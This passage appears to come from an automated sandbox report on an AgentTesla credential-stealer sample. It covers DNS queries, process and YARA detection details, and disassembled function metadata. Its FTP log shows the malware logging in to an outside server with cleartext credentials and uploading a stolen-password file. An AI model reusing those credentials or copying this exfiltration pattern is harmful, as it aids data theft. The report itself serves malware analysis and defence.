Jun 20, 2024 14:23:07.629895926 CEST	192.168.2.5	1.1.1.1	0xd8cc	Standard query (0)	ftp.wapination.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 20, 2024 14:23:07.953522921 CEST	1.1.1.1	192.168.2.5	0xd8cc	No error (0)	ftp.wapination.net	wapination.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 14:23:07.953522921 CEST	1.1.1.1	192.168.2.5	0xd8cc	No error (0)	wapination.net		108.179.234.136	A (IP address)	IN (0x0001)	false

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jun 20, 2024 14:23:08.495738029 CEST	21	49708	108.179.234.136	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed.220-Local time is now 07:23. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed.220-Local time is now 07:23. Server port: 21.220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed.220-Local time is now 07:23. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Jun 20, 2024 14:23:08.495973110 CEST	49708	21	192.168.2.5	108.179.234.136	USER pop@wapination.net
Jun 20, 2024 14:23:08.611702919 CEST	21	49708	108.179.234.136	192.168.2.5	331 User pop@wapination.net OK. Password required
Jun 20, 2024 14:23:08.611854076 CEST	49708	21	192.168.2.5	108.179.234.136	PASS sync@#1235
Jun 20, 2024 14:23:08.806467056 CEST	21	49708	108.179.234.136	192.168.2.5	230 OK. Current restricted directory is /
Jun 20, 2024 14:23:08.925967932 CEST	21	49708	108.179.234.136	192.168.2.5	504 Unknown command
Jun 20, 2024 14:23:08.926120996 CEST	49708	21	192.168.2.5	108.179.234.136	PWD
Jun 20, 2024 14:23:09.041934967 CEST	21	49708	108.179.234.136	192.168.2.5	257 "/" is your current location
Jun 20, 2024 14:23:09.042676926 CEST	49708	21	192.168.2.5	108.179.234.136	TYPE I
Jun 20, 2024 14:23:09.158538103 CEST	21	49708	108.179.234.136	192.168.2.5	200 TYPE is now 8-bit binary
Jun 20, 2024 14:23:09.166553020 CEST	49708	21	192.168.2.5	108.179.234.136	PASV
Jun 20, 2024 14:23:09.282438993 CEST	21	49708	108.179.234.136	192.168.2.5	227 Entering Passive Mode (108,179,234,136,171,209)
Jun 20, 2024 14:23:09.311887026 CEST	49708	21	192.168.2.5	108.179.234.136	STOR PW_user-675052_2024_06_20_08_23_07.html
Jun 20, 2024 14:23:09.712625027 CEST	21	49708	108.179.234.136	192.168.2.5	150 Accepted data connection
Jun 20, 2024 14:23:09.851047993 CEST	21	49708	108.179.234.136	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.117 seconds (measured here), 2.68 Kbytes per second

Target ID:	0
Start time:	08:23:04
Start date:	20/06/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe"
Imagebase:	0xc70000
File size:	644'096 bytes
MD5 hash:	B3DB9023FE215F9CC7EA9DC71387F111
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:23:05
Start date:	20/06/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe"
Imagebase:	0xe60000
File size:	644'096 bytes
MD5 hash:	B3DB9023FE215F9CC7EA9DC71387F111
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	104
Total number of Limit Nodes:	11

Executed Functions

Function 085C0040 Relevance: 16.2, Strings: 12, Instructions: 1190COMMON

Download Yara Rule

Strings

4c]q, xrefs: 085C09D4
c]q, xrefs: 085C0A0E
c]q, xrefs: 085C09F4
Haq, xrefs: 085C0DFA
$]q, xrefs: 085C1063
4c]q, xrefs: 085C09BA
$]q, xrefs: 085C06CB
,aq, xrefs: 085C0C5F
(_]q, xrefs: 085C0ADC
Nv\q, xrefs: 085C0348
(_]q, xrefs: 085C0AF6
$]q, xrefs: 085C06E5

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (_]q$(_]q$,aq$4c]q$4c]q$Haq$Nv\q$$]q$$]q$$]q$c]q$c]q
API String ID: 0-67377238
Opcode ID: 6a7f27795eb16b09a6770e0ff293eeaa6f94a24d15712cdc0deb4ccdc961f80b
Instruction ID: e2bad9f56821091a91fdb2b096bcb6b6d4dd8434fd666901907a6d353487d0a2
Opcode Fuzzy Hash: 6a7f27795eb16b09a6770e0ff293eeaa6f94a24d15712cdc0deb4ccdc961f80b
Instruction Fuzzy Hash: 13829460B80525CFCB59EFBD885062D66E7BFCCB01B60496DD04ADB394EE64CC458FA2

Function 085C4270 Relevance: 15.1, Strings: 10, Instructions: 2597COMMON

Download Yara Rule

Strings

4']q, xrefs: 085C50C4
4|bq, xrefs: 085C705B
$]q, xrefs: 085C6F18
4|bq, xrefs: 085C7040
4']q, xrefs: 085C6130
4']q, xrefs: 085C6E6B
(o]q, xrefs: 085C4346
4']q, xrefs: 085C524C
4']q, xrefs: 085C6EF6
4']q, xrefs: 085C6EC6

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$4']q$4']q$4']q$4']q$4']q$4']q$4|bq$4|bq$$]q
API String ID: 0-3618750947
Opcode ID: 2384e5b7de873d5a33f7ad886fc96eb8bec68316f70bca89c39edabc7b50a957
Instruction ID: 2eddc4a75e2f4af32aee3759115235d454e27fccd6a5cb9803e5e0e28b367b79
Opcode Fuzzy Hash: 2384e5b7de873d5a33f7ad886fc96eb8bec68316f70bca89c39edabc7b50a957
Instruction Fuzzy Hash: 9F43D974A00219CFCB24DFA8C998A9DBBB2FF89311F158599D409AB361DB34ED81CF51

Function 085C7850 Relevance: 13.0, Strings: 10, Instructions: 520COMMON

Download Yara Rule

Strings

$]q, xrefs: 085C7C04
$]q, xrefs: 085C7C10
Te]q, xrefs: 085C7A6D
$]q, xrefs: 085C7CD1
Te]q, xrefs: 085C79A5
Te]q, xrefs: 085C78DA
$]q, xrefs: 085C7CC5
Te]q, xrefs: 085C7893
Te]q, xrefs: 085C79E9
Te]q, xrefs: 085C7A9A

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q$Te]q$Te]q$$]q$$]q$$]q$$]q
API String ID: 0-3613213995
Opcode ID: e7fe003e8c7261b8bc0633636438667362112dc50e0ba333449ae8365e8e1e5d
Instruction ID: 4a0ea375784e16029f9f4a54844dd4fcae429b8a8be70a73f7195f27fa56004e
Opcode Fuzzy Hash: e7fe003e8c7261b8bc0633636438667362112dc50e0ba333449ae8365e8e1e5d
Instruction Fuzzy Hash: 7112D031B442498FDB048BBCD8597AD7FA2BB8D712F24885DE901ABB85DA348C41CF95

Function 085C3280 Relevance: 7.1, Strings: 5, Instructions: 823COMMON

Download Yara Rule

Strings

,aq, xrefs: 085C39CF
,aq, xrefs: 085C39BF
(o]q, xrefs: 085C3C3B
(o]q, xrefs: 085C3C31
Haq, xrefs: 085C3CA8

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq$Haq
API String ID: 0-2157538030
Opcode ID: 1acbe9be502ee62f08061cc96ba02d6fed6bb505b1ded519fb09d078041902c1
Instruction ID: ae893116ac5b68e6a7708e34b329228153e5df64a69c17c26fb44f78e0d30de9
Opcode Fuzzy Hash: 1acbe9be502ee62f08061cc96ba02d6fed6bb505b1ded519fb09d078041902c1
Instruction Fuzzy Hash: B0625E35A00119DFCB04DFA9D984AAEBBB2BF88711B15C56DE8059B364DB35EC42CF90

Function 085C9DCF Relevance: 4.1, Strings: 3, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r, xrefs: 085C9F81
l.]q, xrefs: 085C9E4E
l.]q, xrefs: 085C9E42

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: l.]q$l.]q$r
API String ID: 0-1833449037
Opcode ID: f7bdc583efabda5aa55d405eb6ae2259f75eb89d3420eae9d65f600885f59e79
Instruction ID: 3fc743c36d99aebd5bede70486e8e7825ee4f442424b7f17cd7f0928e36a0044
Opcode Fuzzy Hash: f7bdc583efabda5aa55d405eb6ae2259f75eb89d3420eae9d65f600885f59e79
Instruction Fuzzy Hash: 94B1F175904294CFC7018FADD8406A9FFF1BF46322F1489AFE456EB692C634C990CB52

Function 085C89B4 Relevance: 30.6, Strings: 24, Instructions: 598COMMON

Download Yara Rule

Strings

XX]q, xrefs: 085C8DB0
$]q, xrefs: 085C9088
fbq, xrefs: 085C8A9C
$]q, xrefs: 085C8FC9
fbq, xrefs: 085C90E4
$]q, xrefs: 085C8FA9
$]q, xrefs: 085C8F9B
fbq, xrefs: 085C8AA8
fbq, xrefs: 085C8B3D
XX]q, xrefs: 085C8DE2
Te]q, xrefs: 085C8C35
Te]q, xrefs: 085C8DFC
fbq, xrefs: 085C8AC8
fbq, xrefs: 085C8AD8
Te]q, xrefs: 085C8DF0
XX]q, xrefs: 085C8CEA
fbq, xrefs: 085C90D4
$]q, xrefs: 085C8FBD
$]q, xrefs: 085C8EAC
XX]q, xrefs: 085C8CB0
XX]q, xrefs: 085C8D91
fbq, xrefs: 085C8B31
fbq, xrefs: 085C8F8B
$]q, xrefs: 085C8EBC

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: fbq$ fbq$ fbq$ fbq$ fbq$ fbq$ fbq$ fbq$ fbq$Te]q$Te]q$Te]q$XX]q$XX]q$XX]q$XX]q$XX]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3260208676
Opcode ID: fe1f5e8df4e2ba2be1afbc4df91b2562c125d6072cb199b32d4df92a344f1206
Instruction ID: 8644b215405a67f75e75b8c85bf0b6f8622ecba167edd78dc572b7d622927aa2
Opcode Fuzzy Hash: fe1f5e8df4e2ba2be1afbc4df91b2562c125d6072cb199b32d4df92a344f1206
Instruction Fuzzy Hash: 01328234A00258CFDB14DFE9C895AAD7BB2BF44352F24496ED842AB395CB709C46CF51

Function 085C7840 Relevance: 10.4, Strings: 8, Instructions: 355COMMON

Download Yara Rule

Strings

$]q, xrefs: 085C7C04
Te]q, xrefs: 085C7A6D
Te]q, xrefs: 085C79A5
Te]q, xrefs: 085C78DA
$]q, xrefs: 085C7CC5
Te]q, xrefs: 085C7893
Te]q, xrefs: 085C79E9
Te]q, xrefs: 085C7A9A

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q$Te]q$Te]q$$]q$$]q
API String ID: 0-2016595432
Opcode ID: a10f28dbc813a654cf10e2008085ecfc1db002601c39aa185373a6fa033c4783
Instruction ID: 04095f1affe09472a677889a13531ece9f938e156d35db9d672fe0b06bfc5c72
Opcode Fuzzy Hash: a10f28dbc813a654cf10e2008085ecfc1db002601c39aa185373a6fa033c4783
Instruction Fuzzy Hash: 18D19034B40205DFDB049FACD859BAD7BA2BB8C711F20842DE906AB784DE749C42CF95

Function 085C8DEA Relevance: 10.2, Strings: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XX]q, xrefs: 085C8DE2
$]q, xrefs: 085C9088
Te]q, xrefs: 085C8DF0
fbq, xrefs: 085C90D4
$]q, xrefs: 085C8FBD
$]q, xrefs: 085C8EAC
$]q, xrefs: 085C8F9B
fbq, xrefs: 085C8F8B

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: fbq$ fbq$Te]q$XX]q$$]q$$]q$$]q$$]q
API String ID: 0-1505870616
Opcode ID: c8116be86c7ac54bcb9a7b4f815593787a128f1a0797bdb966a20338fdafcad6
Instruction ID: 983f2d351db8d5abb27e13203df3132e4c2f49b8d46480a3605b04d977fe22e9
Opcode Fuzzy Hash: c8116be86c7ac54bcb9a7b4f815593787a128f1a0797bdb966a20338fdafcad6
Instruction Fuzzy Hash: 48917F30A04218DFDB158FD8C945ABDBBB2FF45752F1589AEE502AB2A5C7709C42CF41

Function 085C8DC5 Relevance: 10.2, Strings: 8, Instructions: 220
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XX]q, xrefs: 085C8DE2
$]q, xrefs: 085C9088
Te]q, xrefs: 085C8DF0
fbq, xrefs: 085C90D4
$]q, xrefs: 085C8FBD
$]q, xrefs: 085C8EAC
$]q, xrefs: 085C8F9B
fbq, xrefs: 085C8F8B

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: fbq$ fbq$Te]q$XX]q$$]q$$]q$$]q$$]q
API String ID: 0-1505870616
Opcode ID: 98adf8583fa2804c96219a0f4f993449de9bb3393588c4aaf074a3e0157e444e
Instruction ID: bbe99b04c5a529145fb025194ad244bd01d92b937803a71f6e0ed00f768e1510
Opcode Fuzzy Hash: 98adf8583fa2804c96219a0f4f993449de9bb3393588c4aaf074a3e0157e444e
Instruction Fuzzy Hash: 3D816030A04218DFDB15CFD8C944A7DBBB2FB44752F1589AEE502AB295C7709C42CF51

Function 085C2C30 Relevance: 7.8, Strings: 6, Instructions: 325
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 085C2FF1
(o]q, xrefs: 085C2D76
,aq, xrefs: 085C2D54
d8bq, xrefs: 085C30E0
,aq, xrefs: 085C2D48
(o]q, xrefs: 085C2D82

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq$Haq$d8bq
API String ID: 0-380147655
Opcode ID: 8da7aeee5606d74192af5add170b9271cec972ea0c4e6a9736ff7510b17a0d34
Instruction ID: c0b83574e805f19042373fbfeba3d12e5d8db9f3296c786118349e7c704d547e
Opcode Fuzzy Hash: 8da7aeee5606d74192af5add170b9271cec972ea0c4e6a9736ff7510b17a0d34
Instruction Fuzzy Hash: 6CC13630B102199FCB14DFA9D958AAE7BB6BF88701F14846DE806E73A5DB34DC41CB91

Function 0133D474 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0133D4F6
GetCurrentThread.KERNEL32 ref: 0133D533
GetCurrentProcess.KERNEL32 ref: 0133D570
GetCurrentThreadId.KERNEL32 ref: 0133D5C9

Memory Dump Source

Source File: 00000000.00000002.2050378660.0000000001330000.00000040.00000800.00020000.00000000.sdmp, Offset: 01330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1330000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 67655f8b5dafbfb9ee8376fe8380b8634542b063bd45dc36253cd88354b8459a
Instruction ID: c2f201203f66ca38637acc48ca86d57a3bec40c1d32dfaeb6117126978282b53
Opcode Fuzzy Hash: 67655f8b5dafbfb9ee8376fe8380b8634542b063bd45dc36253cd88354b8459a
Instruction Fuzzy Hash: B7513BB0900349CFDB18DFA9D548B9EBBF1FF88314F208459E019AB260D7785948CF66

Function 0133D478 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0133D4F6
GetCurrentThread.KERNEL32 ref: 0133D533
GetCurrentProcess.KERNEL32 ref: 0133D570
GetCurrentThreadId.KERNEL32 ref: 0133D5C9

Memory Dump Source

Source File: 00000000.00000002.2050378660.0000000001330000.00000040.00000800.00020000.00000000.sdmp, Offset: 01330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1330000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 23b409725a6bea64c6f7339bbff10e5a492c6809403c3c8a2490007cd9c7a847
Instruction ID: 58017be3837c73d85feb9597dae7c4c501a06e2371d35c1c3f8bd0b756e974e7
Opcode Fuzzy Hash: 23b409725a6bea64c6f7339bbff10e5a492c6809403c3c8a2490007cd9c7a847
Instruction Fuzzy Hash: C1512BB0900349CFDB18DFA9D548B9EBBF5FF88314F208459E019AB260D7785948CF66

Function 085C8240 Relevance: 5.1, Strings: 4, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

U, xrefs: 085C8929
$]q, xrefs: 085C8471
LR]q, xrefs: 085C8648
$]q, xrefs: 085C8461

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: LR]q$U$$]q$$]q
API String ID: 0-3846951357
Opcode ID: 555680dad41860e7cbc7506f35ca4543a8f616662732fa469bb792aef3a1bf6e
Instruction ID: bb0c22ea51472c717f68af55864eb5a6c41a07c7d18c1b2082ad1d1b0f7aa381
Opcode Fuzzy Hash: 555680dad41860e7cbc7506f35ca4543a8f616662732fa469bb792aef3a1bf6e
Instruction Fuzzy Hash: 1D310270901208DFCB14DFA8D588A9DBBF1FF04706F18D5ADD0196B622D735DA88CB45

Function 085C7B4C Relevance: 2.7, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 085C7C04
$]q, xrefs: 085C7CC5

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 088f3c8b9e5472ddb454d591eb818878490255fd539040226e4739113073bf5a
Instruction ID: fdeee51f0f3d12f6b5a8b8e6373aec30e41abe5badccbb545a2cda56fac688e6
Opcode Fuzzy Hash: 088f3c8b9e5472ddb454d591eb818878490255fd539040226e4739113073bf5a
Instruction Fuzzy Hash: 56518634B40219DFDB149FB8D859BAD7BB2BB4C712F208429E902A7794DE749C41CF94

Function 085C7B33 Relevance: 2.7, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 085C7C04
$]q, xrefs: 085C7CC5

Memory Dump Source

Source File: 00000000.00000002.2063232605.00000000085C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 371b3c16d7955df2eb8e918a9f84cc19b86e48d1a7599707be653f21c430155d
Instruction ID: 483a46d5929b6dec690269c08c10d7d6c3d627f5a28056bcd6ba287b51ca8989
Opcode Fuzzy Hash: 371b3c16d7955df2eb8e918a9f84cc19b86e48d1a7599707be653f21c430155d
Instruction Fuzzy Hash: C9519534B40219DFDB148FB8D459BAD7BB2BB8C711F208429E902A7780DE749C41CFA4

Function 0133B1F0 Relevance: 1.7, APIs: 1, Instructions: 200COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0133B446

Memory Dump Source

Source File: 00000000.00000002.2050378660.0000000001330000.00000040.00000800.00020000.00000000.sdmp, Offset: 01330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1330000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d46a343fee073827518d574cb28242c92f4fd7b5ed566acbc602b8d84b8640e6
Instruction ID: 62375047e396067cd4c3d72687c885836828d734ddce057b91d0b45fced2b24c
Opcode Fuzzy Hash: d46a343fee073827518d574cb28242c92f4fd7b5ed566acbc602b8d84b8640e6
Instruction Fuzzy Hash: F6814470A00B458FDB24DF6AD0407AABBF5FF88304F008A2DD48ADBA54D775E949CB95

Function 05581CE4 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05581E02

Memory Dump Source

Source File: 00000000.00000002.2060061163.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 338d3c96db543e2d05204d7538645e6d49e892f04d238cd23b3ccd32ce734a57
Instruction ID: 29855df65df1b916974719c3e0e1e948b7d0df3a7ae0d09d6e24c0d47160887d
Opcode Fuzzy Hash: 338d3c96db543e2d05204d7538645e6d49e892f04d238cd23b3ccd32ce734a57
Instruction Fuzzy Hash: 2851C1B1D10749AFDB14DFA9C884ADEBFB5BF48310F24812AE819AB210D7759885CF91

Function 05581CF0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05581E02

Memory Dump Source

Source File: 00000000.00000002.2060061163.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_SecuriteInfo.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: af797a426fc25e9e3f0efacd4e9ef28f5399fafce67481fb41bec78b2d9c288c
Instruction ID: cf5792593edb39f9e5820cddd169936f90e719590a59993b253712d9e4ece976
Opcode Fuzzy Hash: af797a426fc25e9e3f0efacd4e9ef28f5399fafce67481fb41bec78b2d9c288c
Instruction Fuzzy Hash: 3641C0B1D007499FDB14DFA9C884ADEBFB5BF48310F24812AE819AB250D774A885CF90

Function 01335E84 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01335F41

Memory Dump Source

Source File: 00000000.00000002.2050378660.0000000001330000.00000040.00000800.00020000.00000000.sdmp, Offset: 01330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1330000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 056fe54aa7c5a4c9fe40c8d41ef51cf85091f17379c2c4a53c54f64be177663d
Instruction ID: 942ae7eb6fa6cf2585361db43cad1428d87aea2cb53f63e8204e0c2bfa90611a
Opcode Fuzzy Hash: 056fe54aa7c5a4c9fe40c8d41ef51cf85091f17379c2c4a53c54f64be177663d
Instruction Fuzzy Hash: 2D41E2B0C0071DCEDB24DFA9C944BDDBBB5BF89308F20846AD408AB255DB75694ACF91

Function 05580BFC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05584381

Memory Dump Source

Source File: 00000000.00000002.2060061163.0000000005580000.00000040.00000800.00020000.00000000.sdmp, Offset: 05580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5580000_SecuriteInfo.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2b169f9279e89309b6e6a2351c5de4f16224c195950c72b991208803079314c3
Instruction ID: e08582b24d1f35c5c5b0589defc1ebee7198d3b8a0649ed0269b69b2e4d07e70
Opcode Fuzzy Hash: 2b169f9279e89309b6e6a2351c5de4f16224c195950c72b991208803079314c3
Instruction Fuzzy Hash: 434129B4900249CFCB14DF99C448AAEFBF5FF88314F25C859D919AB321D774A841CBA0

Function 0133450C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01335F41

Memory Dump Source

Source File: 00000000.00000002.2050378660.0000000001330000.00000040.00000800.00020000.00000000.sdmp, Offset: 01330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1330000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e1e7690c8a84da532af00de5a6842c5043f34ca7a3e179ed95b0143f4ad22cbb
Instruction ID: f1189833cdbad34e904f9a7d8c0337f5abbdf30b0917f18b30af65eb7e49bc50
Opcode Fuzzy Hash: e1e7690c8a84da532af00de5a6842c5043f34ca7a3e179ed95b0143f4ad22cbb
Instruction Fuzzy Hash: F441D2B0C0071DCBDB24DFA9C844B9DBBF6BF89304F20846AD408AB255DB756949CF91

Function 0133D6B8 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0133D747

Memory Dump Source

Source File: 00000000.00000002.2050378660.0000000001330000.00000040.00000800.00020000.00000000.sdmp, Offset: 01330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1330000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6851ed883ca641cac3104dce7ff049282580373c052e2b5efaaa5ffb09636851
Instruction ID: 9336dd257c17a4fa3d9767618d519474d65ef2ed5704676aa108ada2ccc72c65
Opcode Fuzzy Hash: 6851ed883ca641cac3104dce7ff049282580373c052e2b5efaaa5ffb09636851
Instruction Fuzzy Hash: 8E21E3B5D003489FDB10CFAAD584AEEBBF5FB49320F14801AE918A3250C379A944CF65

Function 0133D6C0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

